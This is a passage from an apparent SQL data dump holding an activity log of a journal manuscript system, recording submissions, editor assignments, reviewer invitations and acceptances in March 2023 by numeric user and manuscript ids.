form',13572,'Author',13731),(125873,'2023-03-14 17:07:18','Manuscript Submitted by Publisher',13573,'Publisher',319),(125874,'2023-03-14 17:09:03','Manuscript Submitted by Publisher',13574,'Publisher',319),(125875,'2023-03-14 17:09:19','Manuscript Submitted by Author using Submission form',13575,'Author',13732),(125876,'2023-03-14 17:10:02','Manuscript Submitted by Publisher',13576,'Publisher',319),(125877,'2023-03-14 17:13:12','Manuscript Submitted by Publisher',13577,'Publisher',319),(125878,'2023-03-14 17:13:52','Manuscript Submitted by Author using Submission form',13578,'Author',13733),(125879,'2023-03-14 17:15:53','Manuscript Submitted by Publisher',13579,'Publisher',319),(125880,'2023-03-14 17:16:51','Manuscript Submitted by Publisher',13580,'Publisher',319),(125881,'2023-03-14 17:19:19','Manuscript Submitted by Publisher',13581,'Publisher',319),(125882,'2023-03-15 13:01:29','Publisher has Invited Reviewer',13555,'Publisher',48),(125883,'2023-03-15 13:01:34','Publisher has Invited Reviewer',13555,'Publisher',48),(125884,'2023-03-15 13:01:39','Publisher has Invited Reviewer',13555,'Publisher',48),(125885,'2023-03-15 13:37:52','Publisher has been Accepted Articles  article',13496,'',1212),(125886,'2023-03-15 13:48:47','Publisher has been Accepted Articles  article',13525,'Publisher',75),(125887,'2023-03-15 13:54:24','Publisher has Invited Reviewer',13540,'Publisher',75),(125888,'2023-03-15 13:54:46','Publisher has Invited Reviewer',13540,'Publisher',75),(125889,'2023-03-15 13:55:52','Publisher has Invited Reviewer',13540,'Publisher',75),(125890,'2023-03-15 13:59:30','Publisher: Accept Notification has been sent to Author',13525,'Publisher',75),(125891,'2023-03-15 14:58:11','Manuscript Submitted by Author using Submission form',13582,'Author',13734),(125892,'2023-03-15 15:21:48','Publisher has been Assigned Editor',13565,'Publisher',248),(125893,'2023-03-15 15:22:02','Publisher has been Assigned Editor',13564,'Publisher',248),(125894,'2023-03-15 15:22:16','Publisher has been Assigned Editor',13563,'Publisher',248),(125895,'2023-03-15 15:22:31','Publisher has been Assigned Editor',13560,'Publisher',248),(125896,'2023-03-15 15:53:29','Publisher has been Assigned Editor',13581,'Publisher',319),(125897,'2023-03-15 15:53:40','Publisher has been Assigned Editor',13580,'Publisher',319),(125898,'2023-03-15 15:53:52','Publisher has been Assigned Editor',13579,'Publisher',319),(125899,'2023-03-15 15:54:01','Publisher has been Assigned Editor',13577,'Publisher',319),(125900,'2023-03-15 15:54:18','Publisher has been Assigned Editor',13576,'Publisher',319),(125901,'2023-03-15 15:54:27','Publisher has been Assigned Editor',13574,'Publisher',319),(125902,'2023-03-15 15:54:49','Publisher has been Assigned Editor',13573,'Publisher',319),(125903,'2023-03-15 15:55:08','Publisher has been Assigned Editor',13571,'Publisher',319),(125904,'2023-03-15 15:55:19','Publisher has been Assigned Editor',13569,'Publisher',319),(125905,'2023-03-15 15:55:27','Publisher has been Assigned Editor',13568,'Publisher',319),(125906,'2023-03-15 16:40:53','Manuscript Submitted by Publisher',13583,'Publisher',645),(125907,'2023-03-15 16:43:07','Manuscript Submitted by Publisher',13584,'Publisher',645),(125908,'2023-03-15 16:45:15','Manuscript Submitted by Publisher',13585,'Publisher',645),(125909,'2023-03-15 16:45:21','Publisher has been Assigned Editor',13567,'Publisher',48),(125910,'2023-03-15 16:46:37','Manuscript Submitted by Publisher',13586,'Publisher',645),(125911,'2023-03-15 16:48:57','Publisher has been Withdrawn  article',13462,'Publisher',984),(125912,'2023-03-15 17:22:01','Editor has Accepted to review Manuscript',13435,'Editor',1710),(125913,'2023-03-15 17:22:10','Editor has been Editor Decision Accepted article',13435,'Editor',1710),(125914,'2023-03-15 17:22:17','Editor has Accepted to review Manuscript',13498,'Editor',1710),(125915,'2023-03-15 17:22:27','Editor has been Editor Decision Accepted article',13498,'Editor',1710),(125916,'2023-03-15 21:40:49','Reviewer has submitted comments',13540,'Reviewer',21529),(125917,'2023-03-15 22:41:02','Reviewer has submitted comments',13555,'Reviewer',5467),(125918,'2023-03-16 09:17:26','Editor has Accepted to review Manuscript',13555,'Editor',194),(125919,'2023-03-16 09:17:36','Editor has been Editor Decision Accepted article',13555,'Editor',194),(125920,'2023-03-16 09:18:23','Publisher: Accept Notification has been sent to Author',13555,'Publisher',48),(125921,'2023-03-16 09:23:05','Publisher has been Assigned Editor',13562,'Publisher',248),(125922,'2023-03-16 09:23:18','Publisher has been Assigned Editor',13561,'Publisher',248),(125923,'2023-03-16 10:33:56','Manuscript Submitted by Publisher',13587,'Publisher',48),(125924,'2023-03-16 11:05:07','Editor has Accepted to review Manuscript',13548,'Editor',222),(125925,'2023-03-16 11:05:17','Editor has been Editor Decision Accepted article',13548,'Editor',222),(125926,'2023-03-16 11:05:21','Editor has Accepted to review Manuscript',13547,'Editor',222),(125927,'2023-03-16 11:05:31','Editor has been Editor Decision Accepted article',13547,'Editor',222),(125928,'2023-03-16 11:05:37','Editor has Accepted to review Manuscript',13546,'Editor',222),(125929,'2023-03-16 11:05:47','Editor has been Editor Decision Accepted article',13546,'Editor',222),(125930,'2023-03-16 11:05:52','Editor has Accepted to review Manuscript',13535,'Editor',222),(125931,'2023-03-16 11:06:03','Editor has been Editor Decision Accepted article',13535,'Editor',222),(125932,'2023-03-16 11:06:09','Editor has Accepted to review Manuscript',13534,'Editor',222),(125933,'2023-03-16 11:06:19','Editor has been Editor Decision Accepted article',13534,'Editor',222),(125934,'2023-03-16 11:06:25','Editor has Accepted to review Manuscript',13533,'Editor',222),(125935,'2023-03-16 11:06:35','Editor has been Editor Decision Accepted article',13533,'Editor',222),(125936,'2023-03-16 11:06:43','Editor has Accepted to review Manuscript',13531,'Editor',222),(125937,'2023-03-16 11:06:43','Editor has Accepted to review Manuscript',13531,'Editor',222),(125938,'2023-03-16 11:06:57','Editor has been Editor Decision Accepted article',13531,'Editor',222),(125939,'2023-03-16 11:07:14','Editor has Accepted to review Manuscript',13528,'Editor',222),(125940,'2023-03-16 11:07:15','Editor has Accepted to review Manuscript',13528,'Editor',222),(125941,'2023-03-16 11:07:29','Editor has been Editor Decision Accepted article',13528,'Editor',222),(125942,'2023-03-16 11:07:36','Editor has Accepted to review Manuscript',13513,'Editor',222),(125943,'2023-03-16 11:07:52','Editor has been Editor Decision Accepted article',13531,'Editor',222),(125944,'2023-03-16 11:08:16','Editor has Accepted to review Manuscript',13536,'Editor',221),(125945,'2023-03-16 11:08:24','Editor has been Editor Decision Accepted article',13536,'Editor',221),(125946,'2023-03-16 11:08:29','Editor has Accepted to review Manuscript',13532,'Editor',221),(125947,'2023-03-16 11:08:39','Editor has been Editor Decision Accepted article',13532,'Editor',221),(125948,'2023-03-16 11:12:35','Publisher has been Accepted Articles  article',13528,'Publisher',84),(125949,'2023-03-16 11:13:06','Publisher has been Accepted Articles  article',13531,'Publisher',84),(125950,'2023-03-16 11:13:39','Publisher has been Accepted Articles  article',13532,'Publisher',84),(125951,'2023-03-16 11:13:56','Publisher has been Accepted Articles  article',13533,'Publisher',84),(125952,'2023-03-16 11:14:14','Publisher has been Accepted Articles  article',13534,'Publisher',84),(125953,'2023-03-16 11:14:40','Publisher has been Accepted Articles  article',13535,'Publisher',84),(125954,'2023-03-16 11:15:01','Publisher has been Accepted Articles  article',13536,'Publisher',84),(125955,'2023-03-16 11:15:19','Publisher has been Accepted Articles  article',13546,'Publisher',84),(125956,'2023-03-16 11:15:39','Publisher has been Accepted Articles  article',13547,'Publisher',84),(125957,'2023-03-16 11:15:57','Publisher has been Accepted Articles  article',13548,'Publisher',84),(125958,'2023-03-16 14:38:58','Publisher has been Accepted Articles  article',13469,'Publisher',75),(125959,'2023-03-16 14:39:00','Publisher has been Accepted Articles  article',13469,'Publisher',75),(125960,'2023-03-16 14:39:01','Publisher has been Accepted Articles  article',13469,'Publisher',75),(125961,'2023-03-16 14:39:03','Publisher has been Accepted Articles  article',13469,'Publisher',75),(125962,'2023-03-16 14:39:04','Publisher has been Accepted Articles  article',13469,'Publisher',75),(125963,'2023-03-16 14:39:06','Publisher has been Accepted Articles  article',13469,'Publisher',75),(125964,'2023-03-16 14:39:08','Publisher has been Accepted Articles  article',13469,'Publisher',75),(125965,'2023-03-16 15:13:22','Manuscript Submitted by Author using Submission form',13588,'Author',13738),(125966,'2023-03-16 15:24:55','Manuscript Submitted by Publisher',13589,'Publisher',645),(125967,'2023-03-16 15:27:08','Manuscript Submitted by Publisher',13590,'Publisher',645),(125968,'2023-03-16 15:29:18','Manuscript Submitted by Publisher',13591,'Publisher',645),(125969,'2023-03-16 15:30:42','Manuscript Submitted by Publisher',13592,'Publisher',645),(125970,'2023-03-16 15:34:02','Manuscript Submitted by Publisher',13593,'Publisher',645),(125971,'2023-03-16 15:35:43','Manuscript Submitted by Publisher',13594,'Publisher',645),(125972,'2023-03-16 18:03:10','Publisher has been Assigned Editor',13583,'Publisher',645),(125973,'2023-03-16 18:03:28','Publisher has been Assigned Editor',13584,'Publisher',645),(125974,'2023-03-16 18:03:44','Publisher has been Assigned Editor',13586,'Publisher',645),(125975,'2023-03-16 18:03:59','Publisher has been Assigned Editor',13585,'Publisher',645),(125976,'2023-03-17 10:04:13','Manuscript Submitted by Publisher',13595,'',1050),(125977,'2023-03-17 10:32:54','Publisher has been Assigned Editor',13582,'Publisher',972),(125978,'2023-03-17 10:33:08','Publisher has been Assigned Editor',13578,'Publisher',972),(125979,'2023-03-17 10:33:22','Publisher has been Assigned Editor',13575,'Publisher',972),(125980,'2023-03-17 10:33:37','Publisher has been Assigned Editor',13572,'Publisher',972),(125981,'2023-03-17 10:33:53','Publisher has been Assigned Editor',13570,'Publisher',972),(125982,'2023-03-17 10:35:15','Publisher has Invited Reviewer',13582,'Publisher',972),(125983,'2023-03-17 10:35:19','Publisher has Invited Reviewer',13582,'Publisher',972),(125984,'2023-03-17 10:35:24','Publisher has Invited Reviewer',13582,'Publisher',972),(125985,'2023-03-17 10:35:29','Publisher has Invited Reviewer',13582,'Publisher',972),(125986,'2023-03-17 10:35:34','Publisher has Invited Reviewer',13582,'Publisher',972),(125987,'2023-03-17 10:35:39','Publisher has Invited Reviewer',13582,'Publisher',972),(125988,'2023-03-17 10:37:01','Publisher has Invited Reviewer',13578,'Publisher',972),(125989,'2023-03-17 10:37:05','Publisher has Invited Reviewer',13578,'Publisher',972),(125990,'2023-03-17 10:37:10','Publisher has Invited Reviewer',13578,'Publisher',972),(125991,'2023-03-17 10:37:47','Publisher has Invited Reviewer',13575,'Publisher',972),(125992,'2023-03-17 10:37:51','Publisher has Invited Reviewer',13575,'Publisher',972),(125993,'2023-03-17 10:37:56','Publisher has Invited Reviewer',13575,'Publisher',972),(125994,'2023-03-17 10:38:29','Publisher has Invited Reviewer',13572,'Publisher',972),(125995,'2023-03-17 10:38:34','Publisher has Invited Reviewer',13572,'Publisher',972),(125996,'2023-03-17 10:38:39','Publisher has Invited Reviewer',13572,'Publisher',972),(125997,'2023-03-17 10:38:44','Publisher has Invited Reviewer',13572,'Publisher',972),(125998,'2023-03-17 10:39:17','Publisher has Invited Reviewer',13570,'Publisher',972),(125999,'2023-03-17 11:06:36','Publisher has been Assigned Editor',13587,'Publisher',48),(126000,'2023-03-17 11:18:43','Publisher: Accept Notification has been sent to Author',13555,'Publisher',48),(126001,'2023-03-17 11:22:25','Publisher has been Accepted Articles  article',13509,'Publisher',376),(126002,'2023-03-17 11:49:25','Manuscript Updated',13521,'Publisher',645),(126003,'2023-03-17 11:50:14','Publisher has been Accepted Articles  article',13521,'Publisher',645),(126004,'2023-03-17 11:50:33','Manuscript Updated',13521,'Publisher',645),(126005,'2023-03-17 11:51:14','Publisher has been Assigned Editor',13594,'Publisher',645),(126006,'2023-03-17 11:51:29','Publisher has been Assigned Editor',13593,'Publisher',645),(126007,'2023-03-17 11:51:45','Publisher has been Assigned Editor',13592,'Publisher',645),(126008,'2023-03-17 12:07:23','Publisher has been Accepted Articles  article',13506,'Publisher',376),(126009,'2023-03-17 12:19:16','Publisher has been Accepted Articles  article',13430,'Publisher',376),(126010,'2023-03-17 13:40:37','Manuscript Submitted by Author using Submission form',13596,'Author',13745),(126011,'2023-03-17 13:52:45','Manuscript Updated',13508,'Publisher',248),(126012,'2023-03-17 13:52:59','Publisher has been Accepted Articles  article',13508,'Publisher',248),(126013,'2023-03-17 13:54:57','Publisher has Invited Reviewer',13558,'Publisher',248),(126014,'2023-03-17 13:55:02','Publisher has Invited Reviewer',13558,'Publisher',248),(126015,'2023-03-17 13:55:06','Publisher has Invited Reviewer',13558,'Publisher',248),(126016,'2023-03-17 13:55:11','Publisher has Invited Reviewer',13558,'Publisher',248),(126017,'2023-03-17 13:57:14','Editor has Accepted to review Manuscript',13497,'Editor',1654),(126018,'2023-03-17 13:57:17','Publisher has Invited Reviewer',13565,'Publisher',248),(126019,'2023-03-17 13:57:19','Editor has Accepted to review Manuscript',13434,'Editor',1654),(126020,'2023-03-17 13:57:22','Publisher has Invited Reviewer',13565,'Publisher',248),(126021,'2023-03-17 13:57:27','Publisher has Invited Reviewer',13565,'Publisher',248),(126022,'2023-03-17 13:57:28','Editor has been Editor Decision Accepted article',13497,'Editor',1654),(126023,'2023-03-17 13:57:40','Editor has been Editor Decision Accepted article',13434,'Editor',1654),(126024,'2023-03-17 13:57:48','Publisher has Invited Reviewer',13564,'Publisher',248),(126025,'2023-03-17 13:58:59','Editor has Accepted to review Manuscript',13433,'Editor',1406),(126026,'2023-03-17 13:59:09','Editor has been Editor Decision Accepted article',13433,'Editor',1406),(126027,'2023-03-17 13:59:41','Publisher has been Accepted Articles  article',13498,'Publisher',984),(126028,'2023-03-17 13:59:59','Publisher has been Accepted Articles  article',13497,'Publisher',984),(126029,'2023-03-17 14:00:18','Publisher has been Accepted Articles  article',13435,'Publisher',984),(126030,'2023-03-17 14:00:40','Publisher has been Accepted Articles  article',13434,'Publisher',984),(126031,'2023-03-17 14:01:41','Publisher has been Accepted Articles  article',13433,'Publisher',984),(126032,'2023-03-17 14:03:55','Publisher has Invited Reviewer',13563,'Publisher',248),(126033,'2023-03-17 14:04:00','Publisher has Invited Reviewer',13563,'Publisher',248),(126034,'2023-03-17 14:04:05','Publisher has Invited Reviewer',13563,'Publisher',248),(126035,'2023-03-17 14:05:11','Publisher has Invited Reviewer',13562,'Publisher',248),(126036,'2023-03-17 14:05:16','Publisher has Invited Reviewer',13562,'Publisher',248),(126037,'2023-03-17 14:05:21','Publisher has Invited Reviewer',13562,'Publisher',248),(126038,'2023-03-17 14:05:25','Publisher has Invited Reviewer',13562,'Publisher',248),(126039,'2023-03-17 14:06:09','Publisher has Invited Reviewer',13561,'Publisher',248),(126040,'2023-03-17 14:06:14','Publisher has Invited Reviewer',13561,'Publisher',248),(126041,'2023-03-17 14:06:18','Publisher has Invited Reviewer',13561,'Publisher',248),(126042,'2023-03-17 14:06:23','Publisher has Invited Reviewer',13561,'Publisher',248),(126043,'2023-03-17 14:06:27','Publisher has Invited Reviewer',13561,'Publisher',248),(126044,'2023-03-17 14:17:19','Publisher has Invited Reviewer',13560,'Publisher',248),(126045,'2023-03-17 14:17:24','Publisher has Invited Reviewer',13560,'Publisher',248),(126046,'2023-03-17 14:17:29','Publisher has Invited Reviewer',13560,'Publisher',248),(126047,'2023-03-17 14:17:33','Publisher has Invited Reviewer',13560,'Publisher',248),(126048,'2023-03-17 14:17:47','Manuscript Updated',13555,'Publisher',48),(126049,'2023-03-17 14:18:07','Publisher has Invited Reviewer',13559,'Publisher',248),(126050,'2023-03-17 14:18:11','Publisher has been Accepted Articles  article',13555,'Publisher',48),(126051,'2023-03-17 14:18:12','Publisher has Invited Reviewer',13559,'Publisher',248),(126052,'2023-03-17 14:18:17','Publisher has Invited Reviewer',13559,'Publisher',248),(126053,'2023-03-17 14:18:21','Publisher has Invited Reviewer',13559,'Publisher',248),(126054,'2023-03-17 15:23:58','Editor has Accepted to review Manuscript',13540,'Editor',162),(126055,'2023-03-17 15:24:03','Editor has been Editor Decision Accepted article',13540,'Editor',162),(126056,'2023-03-17 15:25:19','Manuscript Updated',12278,'Publisher',75),(126057,'2023-03-17 15:26:09','Manuscript Updated',12278,'Publisher',75),(126058,'2023-03-17 17:24:30','Publisher has Invited Reviewer',13567,'Publisher',48),(126059,'2023-03-17 17:24:35','Publisher has Invited Reviewer',13567,'Publisher',48),(126060,'2023-03-17 17:24:39','Publisher has Invited Reviewer',13567,'Publisher',48),(126061,'2023-03-17 17:25:21','Publisher has Invited Reviewer',13587,'Publisher',48),(126062,'2023-03-17 17:25:26','Publisher has Invited Reviewer',13587,'Publisher',48),(126063,'2023-03-17 17:25:30','Publisher has Invited Reviewer',13587,'Publisher',48),(126064,'2023-03-17 18:37:01','Manuscript Submitted by Author using Submission form',13597,'Author',13746),(126065,'2023-03-18 09:30:32','Publisher has been Assigned Editor',13589,'Publisher',645),(126066,'2023-03-18 09:31:20','Publisher has been Assigned Editor',13591,'Publisher',645),(126067,'2023-03-18 09:34:50','Publisher has been Assigned Editor',13588,'Publisher',75),(126068,'2023-03-18 09:37:17','Publisher has Invited Reviewer',13588,'Publisher',75),(126069,'2023-03-18 09:37:38','Publisher has Invited Reviewer',13588,'Publisher',75),(126070,'2023-03-18 09:38:02','Publisher has Invited Reviewer',13588,'Publisher',75),(126071,'2023-03-18 09:38:06','Publisher has Invited Reviewer',13588,'Publisher',75),(126072,'2023-03-18 09:38:11','Publisher has Invited Reviewer',13588,'Publisher',75),(126073,'2023-03-18 09:38:35','Publisher has Invited Reviewer',13588,'Publisher',75),(126074,'2023-03-18 09:38:40','Publisher has Invited Reviewer',13588,'Publisher',75),(126075,'2023-03-18 09:38:45','Publisher has Invited Reviewer',13588,'Publisher',75),(126076,'2023-03-18 09:38:49','Publisher has Invited Reviewer',13588,'Publisher',75),(126077,'2023-03-18 11:50:08','Editor has Accepted to review Manuscript',13501,'Editor',194),(126078,'2023-03-18 11:50:21','Editor has been Editor Decision Accepted article',13501,'Editor',194),(126079,'2023-03-18 11:52:51','Reviewer has submitted comments',13501,'Reviewer',11715),(126080,'2023-03-18 12:20:47','Publisher: Accept Notification has been sent to Author',13501,'Publisher',48),(126081,'2023-03-18 12:26:20','Publisher has been Accepted Articles  article',13501,'Publisher',48),(126082,'2023-03-19 18:26:48','Reviewer has submitted comments',13588,'Reviewer',21529),(126083,'2023-03-20 10:09:05','Manuscript Updated',13540,'Publisher',75),(126084,'2023-03-20 10:09:29','Publisher has been Accepted Articles  article',13540,'Publisher',75),(126085,'2023-03-20 10:09:42','Manuscript Updated',13540,'Publisher',75),(126086,'2023-03-20 10:40:29','Publisher: Accept Notification has been sent to Author',13540,'Publisher',75),(126087,'2023-03-20 13:12:06','Publisher has been Assigned Editor',13596,'Publisher',376),(126088,'2023-03-20 13:13:00','Publisher has Invited Reviewer',13596,'Publisher',376),(126089,'2023-03-20 13:13:05','Publisher has Invited Reviewer',13596,'Publisher',376),(126090,'2023-03-20 13:13:10','Publisher has Invited Reviewer',13596,'Publisher',376),(126091,'2023-03-20 13:13:14','Publisher has Invited Reviewer',13596,'Publisher',376),(126092,'2023-03-20 13:15:00','Publisher has been Assigned Editor',13597,'Publisher',645),(126093,'2023-03-20 14:40:40','Manuscript Updated',13558,'Publisher',248),(126094,'2023-03-20 14:41:03','Publisher has been Accepted Articles  article',13558,'Publisher',248),(126095,'2023-03-20 14:44:04','Publisher has been Accepted Articles  article',13565,'Publisher',248),(126096,'2023-03-20 15:04:54','Publisher has been Accepted Articles  article',13564,'Publisher',248),(126097,'2023-03-20 15:22:38','Publisher has been Assigned Editor',0,'Publisher',376),(126098,'2023-03-20 17:54:24','Publisher has been Accepted Articles  article',13359,'',1441),(126099,'2023-03-21 09:37:21','Manuscript Submitted by Publisher',13598,'Publisher',48),(126100,'2023-03-21 11:51:22','Reviewer has submitted comments',13541,'Reviewer',14534),(126101,'2023-03-21 11:52:19','Editor has Accepted to review Manuscript',13541,'Editor',194),(126102,'2023-03-21 11:52:28','Editor has been Editor Decision Accepted article',13541,'Editor',194),(126103,'2023-03-21 11:57:22','Publisher: Accept Notification has been sent to Author',13541,'Publisher',48),(126104,'2023-03-21 11:57:53','Publisher has been Accepted Articles  article',13541,'Publisher',48),(126105,'2023-03-21 13:23:50','Manuscript Updated',13596,'Publisher',376),(126106,'2023-03-21 13:24:11','Publisher has been Accepted Articles  article',13596,'Publisher',376),(126107,'2023-03-21 14:14:32','Manuscript Submitted by Author using Submission form',13599,'Author',13748),(126108,'2023-03-21 14:18:56','Manuscript Submitted by Author using Submission form',13600,'Author',13749),(126109,'2023-03-21 14:23:19','Manuscript Submitted by Author using Submission form',13601,'Author',13750),(126110,'2023-03-21 14:26:32','Manuscript Submitted by Author using Submission form',13602,'Author',13751),(126111,'2023-03-21 14:28:03','Manuscript Submitted by Author using Submission form',13603,'Author',13752),(126112,'2023-03-21 14:56:09','Publisher has been Accepted Articles  article',13525,'Publisher',75),(126113,'2023-03-21 14:56:48','Publisher has been Accepted Articles  article',13540,'Publisher',75),(126114,'2023-03-23 10:14:26','Manuscript Submitted by Publisher',13604,'',1212),(126115,'2023-03-23 11:03:02','Editor has Accepted to review Manuscript',13593,'Editor',634),(126116,'2023-03-23 11:03:14','Editor has been Editor Decision Accepted article',13593,'Editor',634),(126117,'2023-03-23 11:03:36','Editor has Accepted to review Manuscript',13591,'Editor',634),(126118,'2023-03-23 11:03:45','Editor has been Editor Decision Accepted article',13591,'Editor',634),(126119,'2023-03-23 11:03:52','Editor has Accepted to review Manuscript',13585,'Editor',634),(126120,'2023-03-23 11:04:00','Editor has been Editor Decision Accepted article',13585,'Editor',634),(126121,'2023-03-23 11:04:06','Editor has Accepted to review Manuscript',13584,'Editor',634),(126122,'2023-03-23 11:04:15','Editor has been Editor Decision Accepted article',13494,'Editor',634),(126123,'2023-03-23 11:04:34','Editor has been Editor Decision Accepted article',13584,'Editor',634),(126124,'2023-03-23 11:05:44','Editor has Accepted to review Manuscript',13597,'Editor',633),(126125,'2023-03-23 11:05:57','Editor has been Editor Decision Accepted article',13597,'Editor',633),(126126,'2023-03-23 11:06:04','Editor has Accepted to review Manuscript',13594,'Editor',633),(126127,'2023-03-23 11:06:11','Editor has been Editor Decision Accepted article',13594,'Editor',633),(126128,'2023-03-23 11:06:18','Editor has Accepted to review Manuscript',13592,'Editor',633),(126129,'2023-03-23 11:06:26','Editor has been Editor Decision Accepted article',13594,'Editor',633),(126130,'2023-03-23 11:06:59','Editor has been Editor Decision Accepted article',13592,'Editor',633),(126131,'2023-03-23 11:07:06','Editor has Accepted to review Manuscript',13589,'Editor',633),(126132,'2023-03-23 11:07:14','Editor has been Editor Decision Accepted article',13589,'Editor',633),(126133,'2023-03-23 11:07:21','Editor has Accepted to review Manuscript',13586,'Editor',633),(126134,'2023-03-23 11:07:31','Editor has been Editor Decision Accepted article',13586,'Editor',633),(126135,'2023-03-23 11:07:37','Editor has Accepted to review Manuscript',13583,'Editor',633),(126136,'2023-03-23 11:07:46','Editor has been Editor Decision Accepted article',13583,'Editor',633),(126137,'2023-03-23 11:09:37','Manuscript Updated',13583,'Publisher',645),(126138,'2023-03-23 11:10:05','Publisher has been Accepted Articles  article',13583,'Publisher',645),(126139,'2023-03-23 11:10:17','Manuscript Updated',13583,'Publisher',645),(126140,'2023-03-23 11:11:26','Manuscript Updated',13585,'Publisher',645),(126141,'2023-03-23 11:11:53','Publisher has been Accepted Articles  article',13585,'Publisher',645),(126142,'2023-03-23 11:12:19','Manuscript Updated',13585,'Publisher',645),(126143,'2023-03-23 11:14:06','Manuscript Updated',13589,'Publisher',645),(126144,'2023-03-23 11:14:36','Publisher has been Accepted Articles  article',13589,'Publisher',645),(126145,'2023-03-23 11:14:52','Manuscript Updated',13589,'Publisher',645),(126146,'2023-03-23 11:16:35','Manuscript Updated',13589,'Publisher',645),(126147,'2023-03-23 11:18:41','Manuscript Updated',13586,'Publisher',645),(126148,'2023-03-23 11:19:26','Publisher has been Accepted Articles  article',13586,'Publisher',645),(126149,'2023-03-23 11:19:45','Manuscript Updated',13586,'Publisher',645),(126150,'2023-03-23 11:20:14','Manuscript Updated',13591,'Publisher',645),(126151,'2023-03-23 11:20:34','Publisher has been Accepted Articles  article',13591,'Publisher',645),(126152,'2023-03-23 11:56:23','Manuscript Updated',13582,'Publisher',972),(126153,'2023-03-23 11:56:52','Publisher has been Accepted Articles  article',13582,'Publisher',972),(126154,'2023-03-23 11:57:07','Manuscript Updated',13582,'Publisher',972),(126155,'2023-03-23 11:57:20','Manuscript Updated',13578,'Publisher',972),(126156,'2023-03-23 11:57:37','Publisher has been Accepted Articles  article',13578,'Publisher',972),(126157,'2023-03-23 11:57:50','Manuscript Updated',13578,'Publisher',972),(126158,'2023-03-23 11:58:06','Manuscript Updated',13575,'Publisher',972),(126159,'2023-03-23 11:58:24','Publisher has been Accepted Articles  article',13575,'Publisher',972),(126160,'2023-03-23 11:58:42','Manuscript Updated',13575,'Publisher',972),(126161,'2023-03-23 11:59:04','Manuscript Updated',13572,'Publisher',972),(126162,'2023-03-23 11:59:23','Publisher has been Accepted Articles  article',13572,'Publisher',972),(126163,'2023-03-23 11:59:35','Manuscript Updated',13572,'Publisher',972),(126164,'2023-03-23 11:59:53','Manuscript Updated',13570,'Publisher',972),(126165,'2023-03-23 12:00:10','Publisher has been Accepted Articles  article',13570,'Publisher',972),(126166,'2023-03-23 12:00:20','Manuscript Updated',13570,'Publisher',972),(126167,'2023-03-23 13:27:51','Manuscript Updated',13500,'Publisher',376),(126168,'2023-03-23 13:28:06','Publisher has been Accepted Articles  article',13500,'Publisher',376),(126169,'2023-03-23 14:02:14','Manuscript Submitted by Publisher',13605,'Publisher',1009),(126170,'2023-03-23 14:37:12','Manuscript Submitted by Publisher',13606,'Publisher',1009),(126171,'2023-03-23 16:58:27','Manuscript Submitted by Publisher',13607,'Publisher',673),(126172,'2023-03-23 16:59:47','Manuscript Submitted by Publisher',13608,'Publisher',673),(126173,'2023-03-23 17:01:27','Manuscript Submitted by Publisher',13609,'Publisher',673),(126174,'2023-03-23 17:07:40','Manuscript Submitted by Publisher',13610,'Publisher',673),(126175,'2023-03-24 09:49:36','Publisher has been Assigned Editor',13598,'Publisher',48),(126176,'2023-03-24 11:51:29','Publisher has been Assigned Editor',13604,'',1212),(126177,'2023-03-24 13:32:50','Manuscript Submitted by Publisher',13611,'Publisher',48),(126178,'2023-03-24 15:23:02','Manuscript Submitted by Author using Submission form',13612,'Author',13760),(126179,'2023-03-24 15:29:36','Publisher has been Assigned Editor',13611,'Publisher',48),(126180,'2023-03-24 16:52:01','Publisher has been Assigned Editor',13556,'',1050),(126181,'2023-03-24 16:53:21','Editor has Accepted to review Manuscript',13556,'Editor',161),(126182,'2023-03-24 16:53:30','Editor has been Editor Decision Accepted article',13556,'Editor',161),(126183,'2023-03-25 09:17:44','Publisher has been Assigned Editor',13610,'Publisher',673),(126184,'2023-03-25 09:18:00','Publisher has been Assigned Editor',13609,'Publisher',673),(126185,'2023-03-25 09:18:13','Publisher has been Assigned Editor',13608,'Publisher',673),(126186,'2023-03-25 09:18:24','Publisher has been Assigned Editor',13607,'Publisher',673),(126187,'2023-03-25 09:19:01','Publisher has Invited Reviewer',13610,'Publisher',673),(126188,'2023-03-25 09:19:06','Publisher has Invited Reviewer',13610,'Publisher',673),(126189,'2023-03-25 09:19:10','Publisher has Invited Reviewer',13610,'Publisher',673),(126190,'2023-03-25 09:19:15','Publisher has Invited Reviewer',13610,'Publisher',673),(126191,'2023-03-25 09:19:19','Publisher has Invited Reviewer',13610,'Publisher',673),(126192,'2023-03-25 09:20:21','Publisher has Invited Reviewer',13609,'Publisher',673),(126193,'2023-03-25 09:20:25','Publisher has Invited Reviewer',13609,'Publisher',673),(126194,'2023-03-25 09:20:30','Publisher has Invited Reviewer',13609,'Publisher',673),(126195,'2023-03-25 09:20:35','Publisher has Invited Reviewer',13609,'Publisher',673),(126196,'2023-03-25 09:20:40','Publisher has Invited Reviewer',13609,'Publisher',673),(126197,'2023-03-25 09:21:19','Publisher has Invited Reviewer',13608,'Publisher',673),(126198,'2023-03-25 09:21:24','Publisher has Invited Reviewer',13608,'Publisher',673),(126199,'2023-03-25 09:21:29','Publisher has Invited Reviewer',13608,'Publisher',673),(126200,'2023-03-25 09:21:33','Publisher has Invited Reviewer',13608,'Publisher',673),(126201,'2023-03-25 09:21:38','Publisher has Invited Reviewer',13608,'Publisher',673),(126202,'2023-03-25 09:22:16','Publisher has Invited Reviewer',13607,'Publisher',673),(126203,'2023-03-25 09:22:20','Publisher has Invited Reviewer',13607,'Publisher',673),(126204,'2023-03-25 09:22:25','Publisher has Invited Reviewer',13607,'Publisher',673),(126205,'2023-03-25 09:22:30','Publisher has Invited Reviewer',13607,'Publisher',673),(126206,'2023-03-25 09:22:34','Publisher has Invited Reviewer',13607,'Publisher',673),(126207,'2023-03-25 09:22:39','Publisher has Invited Reviewer',13607,'Publisher',673),(126208,'2023-03-25 10:04:23','Publisher has been Assigned Editor',13606,'Publisher',1009),(126209,'2023-03-25 10:14:59','Publisher has been Accepted Articles  article',13563,'Publisher',248),(126210,'2023-03-25 11:44:56','Reviewer has submitted comments',13567,'Reviewer',11689),(126211,'2023-03-25 11:45:22','Editor has Accepted to review Manuscript',13567,'Editor',190),(126212,'2023-03-25 11:45:30','Editor has been Editor Decision Accepted article',13567,'Editor',190),(126213,'2023-03-25 11:46:11','Manuscript Updated',13567,'Publisher',48),(126214,'2023-03-25 11:46:25','Publisher has been Accepted Articles  article',13567,'Publisher',48),(126215,'2023-03-25 11:46:39','Manuscript Updated',13567,'Publisher',48),(126216,'2023-03-25 11:48:17','Manuscript Submitted by Publisher',13613,'Publisher',1009),(126217,'2023-03-25 13:33:09','Editor has Accepted to review Manuscript',13606,'Editor',1749),(126218,'2023-03-25 